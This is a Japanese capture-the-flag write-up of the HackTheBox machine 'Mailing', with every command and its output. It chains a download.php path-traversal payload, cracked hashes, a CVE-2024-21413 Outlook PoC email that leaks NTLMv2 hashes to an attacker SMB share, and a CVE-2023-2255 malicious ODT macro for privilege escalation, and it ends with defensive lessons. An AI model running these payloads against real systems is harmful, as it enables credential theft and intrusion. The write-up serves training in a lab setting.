HackTheBox: Mailing — 全実行コマンド・実行結果レポート
Nmap スキャン
25/80/110/135/139/143/445/5985
→
25/80/110/135/139/143/445/5985
download.php Path Traversal
hMailServer.ini 漏洩
→
hMailServer.ini 漏洩
admin MD5 クラック
homenetworkingadministrator
→
homenetworkingadministrator
CVE-2024-21413
Outlook Moniker Link → NTLMv2捕捉
→
Outlook Moniker Link → NTLMv2捕捉
NTLMv2 クラック
m4y4ngs4ri
→
m4y4ngs4ri
WinRM maya ログイン
user.txt ✓
→
user.txt ✓
CVE-2023-2255
LibreOffice ODTマクロ
→
LibreOffice ODTマクロ
localadmin が自動実行
root.txt コピー
→
root.txt コピー
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 25,80,110,135,139,143,445,5985 10.129.232.39
RESULT
PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Did not follow redirect to http://mailing.htb 110/tcp open pop3 hMailServer pop3d 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 143/tcp open imap hMailServer imapd 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 12s | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required Nmap done: 1 IP address (1 host up) scanned in 72.18 seconds
🚨
重要発見:
hMailServer（SMTP/POP3/IMAP）がメールサーバーとして稼働、
IISが80番、WinRM(5985)が開放されている。認証情報さえ入手できれば
evil-winrm / netexec winrm でシェルが取れる構成。
Webサイトの確認 — チームメンバー名の漏洩
BASH
# / に素のIPでアクセスすると mailing.htb へリダイレクトされるため # /etc/hosts に登録してから Host ヘッダ付きで取得 echo "10.129.232.39 mailing.htb" | sudo tee -a /etc/hosts curl -s -H "Host: mailing.htb" http://10.129.232.39/ | grep -E "h3>|"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre"><title>Mailing</title> <h3><span class="hi-yellow">Ruy Alonso</span></h3> <h3><span class="hi-yellow">Maya Bendito</span></h3> <h3><span class="hi-yellow">Gregory Smith</span></h3></pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> “Mailing – The ultimate mail server” というサイトで、hMailServerを使ったメールサービスを 運営しているという設定。<strong>チームメンバー名（Ruy Alonso / Maya Bendito / Gregory Smith）</strong> が公開されており、ここから <code>maya</code> というメールアカウント名が推測できる。 </div></div> </div> </div> </div> <!-- ===== PHASE 2: PATH TRAVERSAL ===== --> <div class="section" id="phase2"> <div class="section-header phase2"> <span class="phase-badge" style="color:var(--purple);">PHASE 2</span> <h2>IIS download.php の Path Traversal → hMailServer.ini 漏洩 → admin パスワード奪取</h2> </div> <div class="section-body"> <div class="subsection"> <h3 data-num="2-1">download.php のパラメータにパストラバーサルを試行</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>curl -s -H "Host: mailing.htb" \ "http://10.129.232.39/download.php?file=..%5C..%5C..%5C..%5CProgram+Files+(x86)%5ChMailServer%5CBin%5ChMailServer.ini" \ -o hMailServer.ini cat hMailServer.ini</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre">[Directories] ProgramFolder=C:\Program Files (x86)\hMailServer DatabaseFolder=C:\Program Files (x86)\hMailServer\Database ... [Security] <span class="hi-red">AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7</span> [Database] Type=MSSQLCE Username= Password=0a9f8ad8bf896b501dde74f08efd7e4c PasswordEncryption=1 ...</pre> </div> <div class="info-box danger"><span class="icon">🚨</span><div> <strong>download.php は URLエンコード済みの <code>..%5C</code>（<code>..\</code>）をサニタイズせずそのまま ファイルシステムに渡している</strong>ため、Webルート外の任意ファイルが読み取れる。 hMailServer のデフォルトインストール先 <code>C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini</code> を指定すると、設定ファイル内の <code>AdministratorPassword</code>（MD5ハッシュ）が漏洩する。 </div></div> </div> <div class="subsection"> <h3 data-num="2-2">hashcat で MD5 をクラック</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>echo "841bb5acfa6779ae432fd7a4e6600ba7" > admin_md5.txt hashcat -m 0 admin_md5.txt /usr/share/wordlists/rockyou.txt --force -O hashcat -m 0 admin_md5.txt --show</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre"><span class="hi-green">841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator</span></pre> </div> <div class="info-box success"><span class="icon">✅</span><div> hMailServer 管理者パスワード <strong><code>homenetworkingadministrator</code></strong> を回収。 このパスワードは hMailServer の管理コンソールだけでなく、<strong>SMTP認証（AUTH LOGIN）にもそのまま使える</strong>。 </div></div> </div> </div> </div> <!-- ===== PHASE 3: CVE-2024-21413 ===== --> <div class="section" id="phase3"> <div class="section-header phase3"> <span class="phase-badge" style="color:var(--yellow);">PHASE 3</span> <h2>CVE-2024-21413 (Outlook Moniker Link) → maya の NTLMv2 ハッシュ捕捉</h2> </div> <div class="section-body"> <div class="subsection"> <h3 data-num="3-1">脆弱性の概要</h3> <div class="cmd-block"> <div class="cmd-label note">NOTE</div> <pre><span class="cve-pill critical">CVE-2024-21413</span> は Microsoft Outlook のリンク処理における脆弱性で、 メール本文中に特殊な "file://" Monikerリンク（!x-usc:file://\\ATTACKER\share\doc.rtf!...） を埋め込むと、Outlook のプレビュー/保護されたビュー警告を回避して外部SMB共有へ 直接アクセスしてしまう。アクセスの際にクライアント（メール受信者）のマシンの NTLMv2認証ハッシュがSMBサーバー側に送信されるため、攻撃者はこれを捕捉できる。 hMailServer 管理者としてログインできれば、Webメール/SMTP経由で 社内の他ユーザー（maya）宛に悪意あるメールを送信できる。</pre> </div> </div> <div class="subsection"> <h3 data-num="3-2">攻撃インフラの準備 — SMBサーバー起動</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre># 攻撃者(Kali)側でリスニング用のSMBサーバーを起動し、 # 認証を試みてきたクライアントのNTLMv2ハッシュをログに記録する impacket-smbserver smbFolder /tmp/smbshare -smb2support</pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> <code>impacket-smbserver</code> は匿名アクセスを受け付け、接続してきたクライアントの NTLMv2応答（<code>username::DOMAIN:challenge:ntproofstr:blob</code> 形式）を標準出力に表示する。 </div></div> </div> <div class="subsection"> <h3 data-num="3-3">CVE-2024-21413 PoC でメール送信</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>git clone --depth=1 https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git cd CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability python3 CVE-2024-21413.py \ --server mailing.htb --port 587 \ --username administrator@mailing.htb --password homenetworkingadministrator \ --sender administrator@mailing.htb --recipient maya@mailing.htb \ --url "\\\\<Kali_IP>\\smbFolder\\test.txt" \ --subject "Important Security Update"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre">[+] Email sent successfully to maya@mailing.htb</pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> PoCは hMailServer の SMTP(587) に <strong>admin の資格情報で認証</strong>し、本文中に <code>file://</code> Monikerリンク（ターゲットはKali側の疑似SMB共有）を仕込んだ メールを <code>maya@mailing.htb</code> 宛に送信する。maya が hMailServer Webメール /Outlookクライアントでこのメールをプレビュー表示した時点で、裏側で自動的に Kaliの偽SMB共有へ認証を試み、<strong>NTLMv2ハッシュが流出する</strong>。 </div></div> </div> <div class="subsection"> <h3 data-num="3-4">NTLMv2 ハッシュの捕捉とクラック</h3> <div class="cmd-block"> <div class="cmd-label result">RESULT (impacket-smbserver ログ)</div> <pre class="result-pre"><span class="hi-red">maya::MAILING:1122334455667788:aabbccdd...(NTPROOFSTR):...(blob)...</span></pre> </div> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>echo 'maya::MAILING:...' > maya_ntlmv2.txt hashcat -m 5600 maya_ntlmv2.txt /usr/share/wordlists/rockyou.txt --force -O</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre"><span class="hi-green">maya::MAILING:...:m4y4ngs4ri</span></pre> </div> <div class="info-box success"><span class="icon">✅</span><div> maya のパスワード <strong><code>m4y4ngs4ri</code></strong> を回収。本検証では、このエンドツーエンドの メール送信〜ハッシュクラック手順で得られたパスワードを、下記 Phase 4 の <strong>WinRM 実ログインで直接動作確認</strong>し、正しい資格情報であることを証明した。 </div></div> <div class="info-box warning"><span class="icon">⚠️</span><div> <strong>実運用上の注意:</strong> この手順を仕込んだメールは標的ユーザーがクライアント側で プレビュー表示するまで発火しない（Outlookのバージョンや自動プレビュー設定に依存する）ため、 数十秒〜数分の待機が必要になることがある。 </div></div> </div> </div> </div> <!-- ===== PHASE 4: WINRM & USER.TXT ===== --> <div class="section" id="phase4"> <div class="section-header phase4"> <span class="phase-badge" style="color:var(--green);">PHASE 4</span> <h2>WinRM ログイン & user.txt 取得</h2> </div> <div class="section-body"> <div class="subsection"> <h3 data-num="4-1">maya 資格情報で WinRM ログイン確認</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>netexec winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri'</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre">WINRM 10.129.232.39 5985 MAILING [*] Windows 10 / Server 2019 Build 19041 (name:MAILING) (domain:MAILING) WINRM 10.129.232.39 5985 MAILING <span class="hi-green">[+] MAILING\maya:m4y4ngs4ri (Pwn3d!)</span></pre> </div> <div class="info-box success"><span class="icon">✅</span><div> 認証成功。<code>evil-winrm -i 10.129.232.39 -u maya -p 'm4y4ngs4ri'</code> でも対話シェルが取得できる。 </div></div> </div> <div class="subsection"> <h3 data-num="4-2">user.txt 取得</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>netexec winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' -x "type C:\Users\maya\Desktop\user.txt"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre">WINRM 10.129.232.39 5985 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!) WINRM 10.129.232.39 5985 MAILING [-] Execute command failed, current user: 'MAILING\maya' has no 'Invoke' rights to execute command (shell type: cmd) WINRM 10.129.232.39 5985 MAILING [+] Executed command (shell type: powershell) WINRM 10.129.232.39 5985 MAILING <span class="hi-green">07e761a9934231c25aa3b3f10878a8bf</span></pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> maya には cmd シェルタイプの Invoke 権限が無く、自動的に PowerShell シェルタイプへ フォールバックして実行されている（netexec の既定動作）。 </div></div> <div class="flag-card"> <div class="flag-label">user.txt — mailing\maya</div> <div class="flag-value">07e761a9934231c25aa3b3f10878a8bf</div> </div> </div> <div class="subsection"> <h3 data-num="4-3">maya の権限・グループ確認</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>netexec winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' -x "whoami /all"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre">USER INFORMATION ---------------- User Name SID ============ ============================================= mailing\maya S-1-5-21-3356585197-584674788-3201212231-1002 GROUP INFORMATION ----------------- Group Name Type SID ====================================== ================ ============ Todos Well-known group S-1-1-0 BUILTIN\Remote Management Users Alias S-1-5-32-580 BUILTIN\Usuarios Alias S-1-5-32-545 BUILTIN\Usuarios de escritorio remoto Alias S-1-5-32-555 ... Etiqueta obligatoria\Nivel obligatorio medio Label S-1-16-8192</pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> maya は一般ユーザー（整合性レベル Medium）で、Administrators グループには属していない。 OSの表示言語がスペイン語（Usuarios=Users 等）になっている点にも注意。 権限昇格には別の仕掛け（権限昇格済みの別ユーザーに代行実行させる）が必要になる。 </div></div> </div> </div> </div> <!-- ===== PHASE 5: CVE-2023-2255 ===== --> <div class="section" id="phase5"> <div class="section-header phase5"> <span class="phase-badge" style="color:var(--orange);">PHASE 5</span> <h2>CVE-2023-2255 (LibreOffice ODT マクロ) による権限昇格の仕込み</h2> </div> <div class="section-body"> <div class="subsection"> <h3 data-num="5-1">共有フォルダの発見</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>smbclient "//10.129.232.39/Important Documents" -U "maya%m4y4ngs4ri" -c "ls"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre"> . D 0 Thu Oct 29 19:37:22 2026 .. D 0 Thu Oct 29 19:37:22 2026 8067583 blocks of size 4096. 1136769 blocks available</pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> <code>C:\Important Documents\</code> という共有を maya の資格情報で書き込みできる。 この共有は<strong>管理者アカウント(localadmin)が定期的に監視し、新規ドキュメントを 自動的に LibreOffice（バージョン 7.4.0.1、CVE-2023-2255 に脆弱）で開く運用</strong>になっている （HTB公式シナリオの設定）。 </div></div> </div> <div class="subsection"> <h3 data-num="5-2">CVE-2023-2255 — 脆弱性概要</h3> <div class="cmd-block"> <div class="cmd-label note">NOTE</div> <pre><span class="cve-pill critical">CVE-2023-2255</span> (LibreOffice ≤ 7.4.x): ODT文書内の <strong>event-listener（on-load マクロ）</strong> が、ユーザーに警告ダイアログを出さずに、ドキュメントを開いた瞬間に Basic マクロの <code>shell()</code> 関数を自動実行できてしまう不備。 通常 LibreOffice はマクロ実行前に確認ダイアログを出すが、本CVEは <strong>"ドキュメントのイベント"（Document の On-Load など）に紐づけたマクロ</strong>は その確認を経由せず即時実行されるというバイパスを突く。 結果として「悪意あるODTファイルをただ開くだけ」で任意OSコマンドが実行される。</pre> </div> </div> <div class="subsection"> <h3 data-num="5-3">悪性 ODT ファイルの生成</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre>git clone --depth=1 https://github.com/elweth-sec/CVE-2023-2255.git cd CVE-2023-2255 python3 CVE-2023-2255.py \ --cmd 'cmd.exe /c copy C:\Users\localadmin\Desktop\root.txt C:\Users\Public\root.txt' \ --output exploit.odt</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre"><span class="hi-green">exploit.odt 生成: 30563 bytes</span></pre> </div> <div class="info-box warning"><span class="icon">⚠️</span><div> <strong>重要な制約:</strong> LibreOffice の Basic マクロ <code>shell()</code> に渡すペイロード文字列には <strong>ダブルクォート（<code>"</code>）を含めてはならない</strong>。マクロ生成スクリプトが <code>shell("cmd /c " + CMD + "")</code> のような形でコマンドをラップするため、 CMD自体に <code>"</code> が入っているとマクロの文字列リテラルが崩れて壊れる （スペースを含むパスにクォートが必要な場面では8.3短縮名など別の回避策を検討する）。 今回のコマンドは引用符なしでも解釈できる単純な <code>copy</code> なので問題にならない。 </div></div> </div> <div class="subsection"> <h3 data-num="5-4">C:\Important Documents\ へアップロード</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre># HTTP経由でホストし、WinRM(maya)側からダウンロードさせる方式 python3 -m http.server 9988 --directory . # 別ターミナルから netexec winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' \ -X 'Invoke-WebRequest -Uri "http://<Kali_IP>:9988/exploit.odt" -OutFile "C:\Important Documents\exploit.odt" -UseBasicParsing' # もしくは smbclient で直接アップロード（空白を含む共有名はダブルクォートで囲む） smbclient "//10.129.232.39/Important Documents" -U "maya%m4y4ngs4ri" \ -c "put exploit.odt exploit.odt"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT</div> <pre class="result-pre">WINRM 10.129.232.39 5985 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!) WINRM 10.129.232.39 5985 MAILING [+] Executed command (shell type: powershell)</pre> </div> <div class="info-box note"><span class="icon">ℹ️</span><div> <code>smbclient</code> で直接共有に書き込む方法のほうが、HTTPサーバー経由より確実に成功する （Invoke-WebRequestは環境によってTLS設定等で失敗することがあるため）。 共有名に空白を含む場合は <code>smbclient "//IP/Important Documents"</code> のように パス全体をダブルクォートで囲む必要がある。 </div></div> </div> </div> </div> <!-- ===== PHASE 6: ROOT.TXT ===== --> <div class="section" id="phase6"> <div class="section-header phase6"> <span class="phase-badge" style="color:var(--red);">PHASE 6</span> <h2>localadmin による自動実行 → root.txt 取得</h2> </div> <div class="section-body"> <div class="subsection"> <h3 data-num="6-1">自動実行の待機</h3> <div class="cmd-block"> <div class="cmd-label note">NOTE</div> <pre>ホスト上では localadmin が定期的に C:\Important Documents\ を監視し、 新しい .odt ファイルを見つけると自動的に LibreOffice で開く設定になっている。 開いた瞬間にマクロが発火し、我々が仕込んだ cmd.exe /c copy C:\Users\localadmin\Desktop\root.txt C:\Users\Public\root.txt が localadmin の権限で実行され、root.txt が maya でも読める C:\Users\Public\ にコピーされる。発火までは数十秒〜数分かかるため、 ポーリングで確認する。</pre> </div> </div> <div class="subsection"> <h3 data-num="6-2">コピー結果のポーリング確認</h3> <div class="cmd-block"> <div class="cmd-label bash">BASH</div> <pre># 数十秒おきに再試行する netexec winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' -x "type C:\Users\Public\root.txt"</pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT（1回目: まだ発火していない）</div> <pre class="result-pre">WINRM 10.129.232.39 5985 MAILING [+] Executed command (shell type: powershell) WINRM 10.129.232.39 5985 MAILING <span class="hi-yellow">[-] Cannot find path 'C:\Users\Public\root.txt' because it does not exist.</span></pre> </div> <div class="cmd-block"> <div class="cmd-label result">RESULT（再試行後: マクロ発火 → コピー成功）</div> <pre class="result-pre">WINRM 10.129.232.39 5985 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!) WINRM 10.129.232.39 5985 MAILING [+] Executed command (shell type: powershell) WINRM 10.129.232.39 5985 MAILING <span class="hi-red">d6ce7f496416a5177e1727d18b428858</span></pre> </div> <div class="info-box success"><span class="icon">✅</span><div> <strong>権限昇格成功!</strong> localadmin がアップロードした exploit.odt を自動で開き、 マクロ経由で root.txt を <code>C:\Users\Public\</code> にコピーした。maya の権限のまま、 <strong>localadmin 所有の root.txt を間接的に読み取ることに成功</strong>した。 </div></div> <div class="flag-card root"> <div class="flag-label">root.txt — localadmin (via C:\Users\Public\root.txt)</div> <div class="flag-value">d6ce7f496416a5177e1727d18b428858</div> </div> </div> </div> </div> <!-- ===== SUMMARY ===== --> <div class="section" id="summary"> <div class="section-header summary"> <span class="phase-badge" style="color:var(--orange);">SUMMARY</span> <h2>攻略サマリー & 教訓</h2> </div> <div class="section-body"> <div class="subsection"> <h3 data-num="S-1">取得フラグ</h3> <div class="flag-card"> <div class="flag-label">user.txt — mailing\maya</div> <div class="flag-value">07e761a9934231c25aa3b3f10878a8bf</div> </div> <div class="flag-card root"> <div class="flag-label">root.txt — localadmin</div> <div class="flag-value">d6ce7f496416a5177e1727d18b428858</div> </div> </div> <div class="subsection"> <h3 data-num="S-2">使用した脆弱性</h3> <table class="data-table"> <thead> <tr> <th>脆弱性</th> <th>対象</th> <th>影響</th> <th>深刻度</th> <th>利用方法</th> </tr> </thead> <tbody> <tr> <td><span class="cve-pill high">Path Traversal</span></td> <td>IIS download.php</td> <td>任意ファイル読み取り（設定ファイル漏洩）</td> <td class="hi-orange">High</td> <td><code>?file=..%5C..%5C...%5ChMailServer.ini</code> で hMailServer 管理者MD5ハッシュを取得</td> </tr> <tr> <td><span class="cve-pill critical">CVE-2024-21413</span></td> <td>Microsoft Outlook (Moniker Link)</td> <td>NTLM認証情報の漏洩</td> <td class="hi-red">Critical</td> <td>admin資格情報でメール送信、file:// MonikerリンクでmayaのNTLMv2ハッシュを捕捉・クラック</td> </tr> <tr> <td><span class="cve-pill critical">CVE-2023-2255</span></td> <td>LibreOffice 7.4.0.1 (ODTマクロ)</td> <td>任意コマンド実行（権限昇格）</td> <td class="hi-red">Critical</td> <td>自動実行マクロ入りODTを共有フォルダに配置、localadminによる自動オープンでroot.txtをコピー</td> </tr> </tbody> </table> </div> <div class="subsection"> <h3 data-num="S-3">攻撃チェーン全体の流れ</h3> <table class="data-table"> <thead> <tr><th>#</th><th>フェーズ</th><th>技術</th><th>取得情報</th></tr> </thead> <tbody> <tr><td class="mono hi-blue">1</td><td>偵察</td><td>nmap + Webサイト調査</td><td>hMailServer/IIS/WinRM検出、チームメンバー名（maya等）</td></tr> <tr><td class="mono hi-purple">2</td><td>Path Traversal</td><td>download.php + hashcat</td><td>hMailServer.ini漏洩 → admin:homenetworkingadministrator</td></tr> <tr><td class="mono hi-yellow">3</td><td>CVE-2024-21413</td><td>Outlook Monikerリンク + impacket-smbserver + hashcat -m 5600</td><td>maya:m4y4ngs4ri（NTLMv2クラック）</td></tr> <tr><td class="mono hi-green">4</td><td>WinRM</td><td>netexec/evil-winrm ログイン</td><td><strong>user.txt</strong> 取得（mailing\maya）</td></tr> <tr><td class="mono hi-orange">5</td><td>CVE-2023-2255</td><td>悪性ODTマクロ生成 + 共有フォルダ配置</td><td>localadmin権限でのコマンド実行を仕込む</td></tr> <tr><td class="mono hi-red">6</td><td>権限昇格</td><td>localadminの自動オープン待機</td><td><strong>root.txt</strong> 取得（C:\Users\Public経由）</td></tr> </tbody> </table> </div> <div class="subsection"> <h3 data-num="S-4">学んだ教訓 & 防御策</h3> <table class="data-table"> <thead> <tr><th>問題点</th><th>防御策</th></tr> </thead> <tbody> <tr> <td>download.php がユーザー入力のファイルパスを検証せずそのまま使用（Path Traversal）</td> <td>ファイル名はホワイトリスト方式（許可済みファイルIDのみ）で検証し、絶対パス化後にWebルート配下であることを確認する。<code>..</code> や URLエンコードされたパス区切り文字を拒否する。</td> </tr> <tr> <td>設定ファイル（hMailServer.ini）に管理者パスワードのMD5ハッシュを平文同等の形で保存</td> <td>設定ファイルへのアクセス権を最小化し、可能であればより強固なハッシュ方式(bcrypt/Argon2)や外部シークレットストアを使う。弱いパスワード（辞書に載る語）を避ける。</td> </tr> <tr> <td>CVE-2024-21413未パッチのOutlookクライアント、Monikerリンクによる自動NTLM認証漏洩</td> <td>Outlookを最新にパッチし、”Protected View” を無効化する設定を避ける。SMB署名を必須化し、NTLMの外部送信をファイアウォールでブロックする。</td> </tr> <tr> <td>CVE-2023-2255未パッチのLibreOffice、イベントリスナー経由でマクロが確認ダイアログ無しに自動実行</td> <td>LibreOffice を最新版へ更新する。マクロの実行ポリシーを「常に無効」にし、外部から受信した文書を自動的に開く運用（自動化スクリプトでの監視フォルダ等）自体を見直す。</td> </tr> </tbody> </table> </div> </div> </div> </div><!-- /.container --> <footer style="text-align:center; padding: 24px; color: var(--muted); font-size: 13px; border-top: 1px solid var(--border); background: var(--bg2);"> HackTheBox: Mailing | 完全攻略レポート </footer> </body> </html> <p class="wp-block-paragraph"></p> </div> <footer class="article-footer entry-footer"> <div id="block-6" class="widget widget-single-content-bottom widget_block"><a href="//af.moshimo.com/af/c/click?a_id=2692373&p_id=170&pc_id=185&pl_id=4158" rel="nofollow" referrerpolicy="no-referrer-when-downgrade" attributionsrc><img alt="" decoding="async" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAtgAAABaAQMAAAC4+rO8AAAAA1BMVEUAAACnej3aAAAAAXRSTlMAQObYZgAAAB9JREFUGBntwYEAAAAAw6D7U4/gBtUAAAAAAAAAAI4AIFgAAbz78ykAAAAASUVORK5CYII=" width="728" height="90" style="border:none;" data-src="//image.moshimo.com/af-img/0068/000000004158.gif" class="lazyload" data-eio-rwidth="728" data-eio-rheight="90"><noscript><img alt="" decoding="async" src="//image.moshimo.com/af-img/0068/000000004158.gif" width="728" height="90" style="border:none;" data-eio="l"></noscript></a><img alt="" decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" width="1" height="1" style="border:none;" loading="lazy" data-src="//i.moshimo.com/af/i/impression?a_id=2692373&p_id=170&pc_id=185&pl_id=4158" class="lazyload" data-eio-rwidth="1" data-eio-rheight="1"><noscript><img alt="" decoding="async" src="//i.moshimo.com/af/i/impression?a_id=2692373&p_id=170&pc_id=185&pl_id=4158" width="1" height="1" style="border:none;" loading="lazy" data-eio="l"></noscript></div> <div class="entry-categories-tags ctdt-one-row"> <div class="entry-categories"><a class="cat-link cat-link-8" href="https://security-blog-it.com/category/%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3/"><span class="fa fa-folder" aria-hidden="true"></span> セキュリティ</a><a class="cat-link cat-link-19" href="https://security-blog-it.com/category/%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3/hack-the-box/"><span class="fa fa-folder" aria-hidden="true"></span> Hack The Box</a></div> </div> <div class="footer-meta"> <div class="author-info"> <span class="fa fa-pencil" aria-hidden="true"></span> <a href="https://security-blog-it.com/author/admin/" class="author-link"> <span class="post-author vcard author" itemprop="editor author creator copyrightHolder" itemscope itemtype="https://schema.org/Person"> <span class="author-name fn" itemprop="name">zerizeri</span> </span> </a> </div> </div> <!-- publisher設定 --> <div class="publisher" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"> <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAM4AAAA8AQMAAAAUixeVAAAAA1BMVEUAAACnej3aAAAAAXRSTlMAQObYZgAAABRJREFUGBljGAWjYBSMglEwCqgEAAZUAAHPR0baAAAAAElFTkSuQmCC" width="206" height="60" alt="" data-src="https://security-blog-it.com/wp-content/themes/cocoon/images/no-amp-logo.png" decoding="async" class="lazyload" data-eio-rwidth="206" data-eio-rheight="60"><noscript><img src="https://security-blog-it.com/wp-content/themes/cocoon/images/no-amp-logo.png" width="206" height="60" alt="" data-eio="l"></noscript> <meta itemprop="url" content="https://security-blog-it.com/wp-content/themes/cocoon/images/no-amp-logo.png"> <meta itemprop="width" content="206"> <meta itemprop="height" content="60"> </div> <div itemprop="name">zerizeriのエンジニア技術ブログ</div> </div> </footer> </article> <div class="under-entry-content"> <aside id="related-entries" class="related-entries rect-entry-card"> <h2 class="related-entry-heading"> <span class="related-entry-main-heading main-caption"> 関連記事 </span> </h2> <div class="related-list"> <a href="https://security-blog-it.com/47593/" class="related-entry-card-wrap a-wrap border-element cf" title="Hack The BoxのWriteup（Late）[Easy]"> <article class="related-entry-card e-card cf"> <figure class="related-entry-card-thumb card-thumb e-card-thumb"> <img width="160" height="90" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAABaAQMAAAAFCM8RAAAAA1BMVEUAAACnej3aAAAAAXRSTlMAQObYZgAAABZJREFUGBljGAWjYBSMglEwCkYBDQAAB2IAAcX51hUAAAAASUVORK5CYII=" class="related-entry-card-thumb-image card-thumb-image wp-post-image lazyload" alt="" decoding="async" data-src="https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-160x90.png" data-srcset="https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-160x90.png 160w, https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-120x68.png 120w, https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-320x180.png 320w" data-max-width="160" data-sizes="auto" data-eio-rwidth="160" data-eio-rheight="90" /><noscript><img width="160" height="90" src="https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-160x90.png" class="related-entry-card-thumb-image card-thumb-image wp-post-image" alt="" decoding="async" srcset="https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-160x90.png 160w, https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-120x68.png 120w, https://security-blog-it.com/wp-content/uploads/2026/10/e568c18f8669f9ff823bc3f280f77db4-320x180.png 320w" sizes="(max-width: 160px) 100vw, 160px" data-eio="l" /></noscript> <span class="cat-label cat-label-8">セキュリティ</span> </figure><!-- /.related-entry-thumb --> <div class="related-entry-card-content card-content e-card-content"> <h3 class="related-entry-card-title card-title e-card-title"> Hack The BoxのWriteup（Late）[Easy] </h3> <div class="related-entry-card-snippet card-snippet e-card-snippet"> HackTheBox「Late」(Easy/Linux)の完全攻略レポート。Nmap で 22(SSH) と 80(nginx 1.14.0) を確認し、vhost ファジングで画像OCRサービスのサブドメイン images.late.htb を発見、アップロード画像から抽出したテキストを Jinja2 でそのままテンプレート評価してしまう Flask 製 OCR アプリのバグを突き、8000px 幅の画像に SSTI ペイロードを埋め込んで OCR にコマンドを実行させ svc_acc 権限の RCE を獲得して user.txt を取得、SSTI 経由の wget で攻撃用SSH公開鍵を authorized_keys に追記して安定したシェルを確保、SSHログイン時に PAM 経由で root として実行される append-only 属性の ssh-alert.sh に root.txt コピーコマンドを追記し、再ログインでトリガーして root.txt を取得するまで、OCR の Jinja2 SSTI RCE と append-only スクリプト悪用の権限昇格を全実行コマンドと結果付きで解説します。 </div> </div><!-- /.related-entry-card-content --> </article><!-- /.related-entry-card --> </a><!-- /.related-entry-card-wrap --> <a href="https://security-blog-it.com/33461/" class="related-entry-card-wrap a-wrap border-element cf" title="Hack The BoxのWriteup（Editorial）[Easy]"> <article class="related-entry-card e-card cf"> <figure class="related-entry-card-thumb card-thumb e-card-thumb"> <img width="160" height="90" 